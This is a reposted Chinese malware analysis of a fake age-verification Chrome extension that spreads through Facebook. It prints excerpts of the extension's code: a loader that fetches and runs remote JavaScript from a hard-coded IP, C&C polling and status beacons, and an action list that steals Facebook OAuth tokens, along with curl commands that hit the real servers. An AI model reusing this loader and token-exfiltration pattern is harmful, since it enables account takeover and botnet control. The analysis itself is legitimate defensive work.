转载

走近科学:Chrome恶意插件如何入侵用户计算机?

走近科学:Chrome恶意插件如何入侵用户计算机?

在我们日常的生活中,浏览器扮演了一个愈加重要的角色。随着WEB应用的发展,我们开始把最私密的数据放到如Facebook、Amazon或者Gmail等在线服务平台上。

这样的大趋势使得我们的在线服务更需要做好安全,必须使用上HTTP-only机制和双因子认证技术等等。但是,其实还有个环节可能没有引起太大重视,那就是 浏览器插件。 似乎大部分人都没意识到,浏览器插件的安全有多重要,因为杀软在这里起的作用不会很大。

在这篇文章中,笔者将分享身边一个感染恶意插件的案例。此前笔者犹豫了很久,到底要不要放出完整的代码。最后,为了避免恶意软件的传播,笔者还是放弃了。

但笔者还是想展示这个恶意软件的功能,所以在其中提取了部分代码,并且移除了一些不相关的代码。此外笔者声明,代码中具体的恶意行为与笔者无关。

事发从Facebook开始

在Facebook的新闻feed里,笔者注意到其中一个朋友总是关注一些不堪入目的网页链接。而现在Facebook里面,这类诱人点击内容的链接,其实并不算少见。但笔者注意到一点,那个朋友总是会关注同一类的链接,而那些链接总关注量大概有900个,然而下方并没有任何评论。并且, 链接过去的主页 有30个左右的 关注 。更怪异的是,该主页的发的每个状态会重复25遍。

走近科学:Chrome恶意插件如何入侵用户计算机?

然而据笔者了解,那位朋友是个聪明的家伙,正常来讲不应该天天发这种垃圾东西。出于好奇,笔者决定去研究下这到底是怎么回事。

访问该主页会看到一些链接,在点开还没有看到的实际内容的时候,它就要求验证笔者的年龄。到这儿其实还没啥问题,但是它这个验证,居然是要笔者去安装一个Chrome插件。

走近科学:Chrome恶意插件如何入侵用户计算机?

该插件来自于一个叫viralands.com的网站,笔者大概 搜索了下关联到这个网站的插件 ,大多都是一类的东西。当然,现在这些插件已经被移除,当时那些插件大概有132265位下载用户。

走近科学:Chrome恶意插件如何入侵用户计算机?

笔者决定在做其他事情之前,先看下该插件的代码。

可疑的插件

笔者在研究插件时,找了一个不错的切入点,也就是manifest.json文件。这其实是一个元数据文件,其中包含了名字、描述、版本号以及权限的等等信息。

大概看了下,该插件的权限如下:

{          "permissions":[                    "storage",                    "          ",                    "tabs",                    "webNavigation",                    "alarms"          ] }    

在安装Chrome插件时,谷歌会有以下警告:

确定添加 “ViralContent Age Verify”插件?

它将会:

读取和更改你访问的网站流量。

其实到了这里,大家已经很明显能看出不对劲了,这并不是一个校验年龄的插件。

如果我们继续看文件,我们会发现以下的代码:

{          "background":{                    "scripts":[                             "scripts/query-string.js",                             "scripts/install.js",                             "background.js"                    ],                    "persistent":true          },          "content_security_policy":"script-src blob: filesystem: chrome-extension-resource: 'self''unsafe-eval'; object-src 'self'" }

在这段代码里,它会一直运行三个JS脚本(不会被中止),这足以让黑客持续从浏览器里截取并且存储数据,并且在不安全的环境下执行存储的代码。让我们看看下面这三个JS脚本:background.js、query-string.js以及install.js,检查下它们是否能够印证我们的怀疑。

虚假的年龄验证机制

background.js脚本非常简短,它只做了一件事。当你安装好插件后,它会弹出一个页面让你填写生日,然后点击验证。

但是这个JS脚本验证过程本身是很有趣的,我们来看看它实际做了什么:

document.querySelector('#submit').addEventListener('click',function() {          document.querySelector('#box').hidden= true;          document.querySelector('#loading').hidden= false;                   setTimeout(function(){                    document.querySelector('#loading').hidden= true;                    document.querySelector('#done').hidden= false;          },(randomIntFromInterval(0, 2) / 2 + 0.5) * 1000); });

如果你点击了“Verify”,他就会显示“Loading…”,并且随机延时一会儿,最后显示“Done”。很明显,代码中并没有真正地进行年龄校验。

那么后面到底还隐藏着什么呢?这个插件还运行了两个脚本,即query-string.js和install.js,让我们继续看看。

获取一个远程的payload

query-string.js脚本其实没什么特别的,它只是 这个NPM包 的拷贝版本。

但是,你肯定猜不到install.js做了什么,在代码中133行有重大发现!

首先,在该文件的第一行,显眼的写着:

var programUrl ='http://104.131.35.136:9999/jsnew.php?id=22';

它将获取脚本的外部服务器地址,赋值为一个硬编码变量。吐槽一下,这里连HTTPS都没用,完全可以搞中间人劫持好么!

提示:该插件直到安装完毕后,才从外部服务器上获取了一个恶意payload,以免被Chrome Webstore安全检查所拦截。

它从服务器上获取了脚本,将其储存在localStorage并执行,我们可以在getProgram()函数中发现这一点:

function getProgram(event) {          varxhr = new XMLHttpRequest();          varurl = programUrl;          varquerySign = url.indexOf('?') === -1 ? '?' : '&';                   url+= querySign + 'r=' + Date.now();                   xhr.open('GET',url, true);          xhr.setRequestHeader('XYZ-Extension-Id',chrome.runtime.id);                   xhr.onload= function() {                    varcode = xhr.response;                                       try{                             varfn = new window['Function'](code);                             console.log('Executingloaded code');                             fn();// exit if error                                      localStorage.setItem('localCode',code);                    }catch (e) {                             console.error(e);                    }                                       xhr.send();          } }

笔者这里用cURL去模拟下这样的请求:

curl -o external.js --header"XYZ-Extension-Id: nogheblblcgkncmpggmikmcpnjdihgdd"http://104.131.35.136:9999/jsnew.php?id=22&r=1467883037000

这样笔者就下载了恶意payload,注意本来它没有名字,笔者给他命名为external.js。这是一个非常大的文件,共有1288行,下面会介绍它的功能。

从外部服务器获取指令

在external.js开始的地方定义了两个URL:

var ACTIONS_URL ='http://159.203.99.206/api/get/'; var STATUS_URL ='http://159.203.99.206/api/status';

第一个URL是从服务器获取指令的,第二个是回复报告给 服务器。 这个模式并不是新出现的,我们可以称之为 命令控制 (或者简写为C&C)。

我们会看到该插件是如何从C&C服务器获取指令,查看external.js里的getActions()函数,就可以获取到指令内容:

function getActions(uid) {          varxhr = new XMLHttpRequest();                   xhr.open('GET',ACTIONS_URL + uid, true);          xhr.responseType= 'json';                   xhr.onload= function() {                    vardata = xhr.response;                    varactions = data && data.actions;                                       if(Array.isArray(actions) && actions.length) {                             checkFBLogin(function(status){                                      fbLoginStatus= status;                                      handleActions(actions);                             });                    }          };                   xhr.send(); }

uid是你机器的独特标识,由函数generateUID()生成:

function generateUID() {          vararray = new Uint32Array(8);          window.crypto.getRandomValues(array);                   return[].map.call(array, function(n) {                    returnn.toString(16)          }).join(''); }

笔者运行了一次generateUID函数,然后得到:

c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7

你如果想要获取指令,就需要创建自己的UID。我们继续模拟请求:

curl -o actions.jsonhttp://159.203.99.206/api/get/c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7

它会返回一个JSON文件,其中包含了插件需要执行的一系列指令,细节如下:

{          "actions":[                    {                             "actionType":"ap",                             "data":{                                   "url":"https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions%2Cuser_about_me%2Cuser_actions.books%2Cuser_actions.music%2Cuser_actions.news%2Cuser_actions.video%2Cuser_activities%2Cuser_birthday%2Cuser_education_history%2Cuser_events%2Cuser_games_activity%2Cuser_groups%2Cuser_hometown%2Cuser_interests%2Cuser_likes%2Cuser_location%2Cuser_notes%2Cuser_photos%2Cuser_questions%2Cuser_relationship_details%2Cuser_relationships%2Cuser_religion_politics%2Cuser_status%2Cuser_subscriptions%2Cuser_videos%2Cuser_website%2Cuser_work_history%2Cfriends_about_me%2Cfriends_actions.books%2Cfriends_actions.music%2Cfriends_actions.news%2Cfriends_actions.video%2Cfriends_activities%2Cfriends_birthday%2Cfriends_education_history%2Cfriends_events%2Cfriends_games_activity%2Cfriends_groups%2Cfriends_hometown%2Cfriends_interests%2Cfriends_likes%2Cfriends_location%2Cfriends_notes%2Cfriends_photos%2Cfriends_questions%2Cfriends_relationship_details%2Cfriends_relationships%2Cfriends_religion_politics%2Cfriends_status%2Cfriends_subscriptions%2Cfriends_videos%2Cfriends_website%2Cfriends_work_history%2Cads_management%2Ccreate_event%2Ccreate_note%2Cexport_stream%2Cfriends_online_presence%2Cmanage_friendlists%2Cmanage_notifications%2Cmanage_pages%2Cphoto_upload%2Cpublish_stream%2Cread_friendlists%2Cread_insights%2Cread_mailbox%2Cread_page_mailboxes%2Cread_requests%2Cread_stream%2Crsvp_event%2Cshare_item%2Csms%2Cstatus_update%2Cuser_online_presence%2Cvideo_upload%2Cxmpp_login&response_type=token&client_id=41158896424&_rdr",                                      "callback":"http://159.203.99.206/api/getToken"                             }                    },                    {                             "actionType":"ap",                             "data":{                                   "url":"https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions&response_type=token&client_id=241284008322&_rdr",                                      "callback":"http://159.203.99.206/api/getToken2"                             }                    },                    {                             "actionType":"lk",                             "data":{                                      "id":"VVideosss"                             }                    }          ] }

泄露你的访问令牌(Access Token)

当你访问上面JSON文件里的链接时,就会自动转到一个会包含你 访问令牌 的URL,该恶意插件会将callback的内容捕获,然后发送到外部服务器上,最后就成功将你的 访问令牌窃取 。

这时候,黑客有了你的Facebook访问令牌,就可以访问你的账户了。他们只要登进去,就能发送和读取你的消息、发布的状态、链接和评论。

关注Facebook主页

笔者下载的指令里,也有让插件去访问一个叫VVideosss的页面的:

走近科学:Chrome恶意插件如何入侵用户计算机?

看起来似乎黑客是买了(或者想办法弄了)一些僵尸粉。虽然这只是纯粹的猜测,但笔者确信这个页面有一些钓鱼内容。

订阅YouTube频道

虽然笔者没有看到任何指令是去订阅YouTube频道的,但是代码中确实包含了一个函数用来干这个。

回复报告给C&C服务器

该插件可以通过以下的函数,将当前状态回复报告给C&C服务器:

function sendStatus(data) {          chrome.storage.local.get('uid',function(storage) {                    data.id= storage.uid;                    data.extension_id= chrome.runtime.id;                    data.fbLoginStatus= fbLoginStatus;                                       varxhr = new XMLHttpRequest();                                       xhr.open('POST',STATUS_URL, true);                    xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');                    xhr.send(queryString.stringify(data));                                       console.log('Statusdata has been sent', data);          }); }

它会发送给服务器三个东西:

1.UID,也就是甄别受感染机器的标识。

2.插件ID,也就是对应到每个插件的字符串。毕竟Chrome Webstore里面有许多类似的插件,黑客可能需要知道你用的哪一款。

3.受感染的机器是否已经关联Facebook。

黑客会用这些信息来判断他们的僵尸网络的确切规模和活动情况,以便在黑市确定其价值。

更多潜在的内容

该插件一直在寻找一个新版本的payload,虽然笔者没有看到相应的内容,但是它是有可能衍生出新的扩展和能力的。

因为该恶意插件有权限“读取和更改网站流量”,黑客可以读取你浏览器里的所有内容。比如他们会读取你的email、窃取你网站的登录凭证,利用你的机器DDoS别人,获取比特币,做盗版种子节点,甚至读取你的信用卡信息(如果你曾经在浏览器里面输入过相关内容)。

干掉僵尸网络

虽然大多数Viralands 插件被Chrome Webstore下线了,但是那132,265位受感染的用户仍然受影响,笔者窃以为这样是改变不了现状的。

幸运的是,这个C&C构建的不是很好,如wiki 所述 :

一个僵尸网络服务器结构中,如果缺乏冗余的主控,至少在暂时失去该主控时是有问题的。

尤其在这种情况下, C&C服务器主控地址是被硬编码到恶意插件代码中。如果我们想办法让该地址失效,那么这僵尸服务网络自然不攻自破。

使用 IPalyzer 分析了下,笔者发现IP地址来自于主机商DigitalOcean。顺便提一句,这是一家服务非常高效的主机商。

如果DigitalOcean 关掉这 C&C服务器主控,这些僵尸网络的肉鸡自然都解放了。

我们以后该怎么做

笔者自然不能让大家都不使用浏览器插件,其中一些是非常有用的,它们还能帮助我们拥有更安全的上网体验。但是,恶意软件也是存在的,有时候我们也不得不给第三方软件高权限。因此,在这里我想提出一些意见,希望可以缓解一些现状。

谷歌可以开始着手恢复对原来的受信任插件的信任,比如可以手动验证插件,或者审查插件开发者的声誉等。

代码开源也是一个好的解决办法,如果某插件是开源的,官方可以去给它加上标识。但是也有一个问题,开源展示出来的代码不一定跟上架的插件代码一模一样。笔者建议在github上自动构建发布最新版本的代码,然后标记为开源。

还有,别忘了这是谷歌干的破事儿!他们做了 静态代码分析和自动修复建议 ,并为此存了约86TB的库。别告诉我们没有发现这么明显的,仅有20KB的恶意Chrome插件!事实上,Chrome Webstore现在的检测机制就是个笑话,我们想要逃避官方检测安装恶意payload,只需要在安装插件后进行就可以了。多年以来,谷歌一直没彻底解决这一点。他们曾开展过 Chrome的 漏洞赏金计划,但是却刻意避开了这个如此明显,而几乎没有防护的安全威胁。

事实上这是Chrome Webstore上的阴影,下架插件对受感染的用户并没有什么帮助,而这个漏洞恐怕也是当前WEB上最大的安全威胁之一。

后记

就职于Chrome安全的 Will Harris告诉笔者,这些插件已经能够自动化地从受害者机器清除了。这对大家来说是个好消息,那132,000名用户不会再受感染的侵害,官方提供了更好也更简便的方式来干掉该僵尸网络。

*参考来源: kjaer ,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)    

原文  http://www.freebuf.com/vuls/109703.html
正文到此结束
Loading...